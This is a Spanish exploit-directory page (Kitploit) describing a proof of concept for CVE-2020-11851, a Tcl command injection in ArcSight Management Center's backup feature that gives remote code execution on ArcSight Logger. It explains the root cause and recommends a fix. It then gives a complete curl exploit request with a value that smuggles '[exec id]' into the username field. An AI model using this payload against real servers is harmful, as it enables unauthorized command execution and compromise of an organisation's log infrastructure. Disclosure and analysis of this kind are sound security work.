Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-11851 — Vulnerabilidad de ejecución remota de código en ArcSight Logger | Kitploit
Herramientas/GitHubGitHub/ch1nghz/cve-2020-11851
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubch1nghz/cve-2020-11851

CVE-2020-11851

Vulnerabilidad de ejecución remota de código en ArcSight Logger

Ver Repositorio
201hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-11851

Vulnerabilidad de ejecución remota de código en ArcSight Logger (a través de ArcSight Management Center)

https://nvd.nist.gov/vuln/detail/CVE-2020-11851

Resumen Ejecutivo

Antecedentes de la vulnerabilidad

ArcSight Logger es una solución integral de gestión de registros que facilita el cumplimiento normativo y permite una investigación forense más rápida para los profesionales de seguridad, al unificar y almacenar registros de datos de máquina de toda la organización, y al facilitar la búsqueda y generación de informes rápidos sobre esos datos.

ArcSight Management Center (ArcMC) es un centro de gestión de seguridad centralizado que administra grandes despliegues de soluciones ArcSight como ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors y ArcSight Connector Appliance (ConApp) a través de una única interfaz.

La vulnerabilidad se puede explotar mediante la funcionalidad de copia de seguridad de ArcSight Management Center (versión: 2.7.1.2065.0). Esta opción de copia de seguridad funciona utilizando scripts "expect" de ArcSight Logger que utilizan Tool Command Language (Tcl). La vulnerabilidad permite a los atacantes ejecutar comandos Tcl arbitrarios. Esta vulnerabilidad afecta al producto Micro Focus ArcSight Logger, en todas las versiones anteriores a la 7.1.1.

Conclusión

El servidor que ejecuta el software vulnerable puede verse comprometido por atacantes a través de la vulnerabilidad RCE y convertirse en un punto de apoyo desde el cual un adversario podría lanzar más ataques contra los servidores de la organización, culminando en una violación grave. Esta vulnerabilidad puede resultar en pérdida, corrupción o divulgación de datos a partes no autorizadas, pérdida de responsabilidad o denegación de acceso.

Recomendaciones

Se recomienda verificar las mejores prácticas de seguridad de Tcl para scripts "expect". Básicamente, usar llaves en eval sería seguro como se muestra a continuación:

root@kitploit:~
eval puts $exploit   ;# vulnerable  

eval "puts $exploit" ;# vulnerable

eval {puts $exploit} ;# seguro

Más información se puede encontrar aquí: https://wiki.tcl-lang.org/page/Injection+Attack

Antecedentes Técnicos

Esta sección detalla los vectores de inyección de comandos que se pueden utilizar para detectar la vulnerabilidad en ArcSight Logger. Los títulos a continuación se pueden usar para reproducir los pasos del ataque.

Explorando la opción de copia de seguridad vulnerable

En la pestaña de administración, hay una opción de copia de seguridad.

1

Como podemos ver, podemos configurar un servidor de copia de seguridad remoto utilizando el protocolo SCP. Después de hacer clic en el botón "Guardar", depuré los procesos del servidor utilizando la herramienta "pspy" que se puede descargar desde aquí: https://github.com/DominicBreuker/pspy/releases

Depurando el servidor y análisis de causa raíz

Después de guardar la configuración de copia de seguridad, detecté que la aplicación utiliza un script bash para verificar el servidor SSH como se muestra a continuación (consulte el PID 95427):

2

Aquí está el comando más detallado (PID 95427) para su explicación:

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

Veamos el contenido de "runexpect.sh" y "scp.expect.dir.backup1" (script expect) antes de explicar la lógica de "runexpect.sh".

Aquí está el contenido de "runexpect.sh":

root@kitploit:~
#!/bin/sh  
	  
# Set LD_LIBRARY_PATH  
	  
export LD_LIBRARY_PATH=$1  
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  
shift  
echo "Running command: $*"  
$*  
	  
exit $? 

Y aquí está el contenido del script expect llamado "scp.expect.dir.backup1":

root@kitploit:~
set password [lindex $argv 0]  
set host [lindex $argv 1]  
set port [lindex $argv 2]  
set dir [lindex $argv 3]  
eval spawn ssh -p $port $host test -d $dir && echo exists  //Vulnerabilidad comienza aquí
expect "*(yes/no)?*$" { send "yes\n" }  
set timeout 600  
expect "*assword:*$" { send "$password\n" } \  
timeout { exit 1 }  
set timeout -1  
expect "\\$ $" 

Como podemos ver, "runexpect.sh" establece la variable de entorno (LD_LIBRARY_PATH) y luego ejecuta el binario "expect" utilizando el script expect llamado "scp.expect.dir.backup1". Este script expect recibe 4 argumentos para usarlos en el comando "ssh".

La vulnerabilidad real comienza en la línea 5 del script llamado "scp.expect.dir.backup1". Como mencionamos anteriormente, sin llaves, las entradas proporcionadas por el usuario pueden ser muy peligrosas en scripts Tcl.

Obteniendo la ejecución de código

Dado que esta vulnerabilidad de ejecución de código es completamente ciega, utilicé la forma más simple de demostrar la ejecución. Usé la herramienta "pspy" para depurar los procesos e ilustrar la ejecución de código arbitrario enviando la solicitud HTTP maliciosa.

Aquí está la lógica que quería que el script expect ejecutara:

root@kitploit:~
eval spawn ssh –p [exec id]  test –d fakehostname && echo exists
[exec : este es argv1
id] : este es argv2
fakehostname : este es argv3
El comportamiento esperado sería así:
eval spawn ssh –p la_salida_del_comando_id test –d fakehostname && echo exists
# Porque, [ ] en Tcl, se parece a `` en bash. Para más información sobre la sintaxis de Tcl, visite https://wiki.tcl-lang.org/welcome

Expliquemos cómo lograrlo. Si pongo un espacio entre las "cadenas" en el parámetro "field-username" de la solicitud HTTP correspondiente, se analizaría involuntariamente en el script expect porque no valida el número de argumentos, lo que significa que podría inyectar [exec como el número de puerto y id] como el nombre de usuario. Normalmente, no podría inyectar el parámetro de número de puerto de la solicitud HTTP correspondiente debido a la validación de entrada (solo debería ser dígitos).

Después de enviar la solicitud HTTP a continuación, ejecuté exitosamente el comando e imprimí su salida con la herramienta "pspy".

3

4

Aquí está la solicitud CURL correspondiente que utilicé para explotar la vulnerabilidad (modifique los tokens relacionados con la sesión y el objetivo):

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
    $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
Descargar herramienta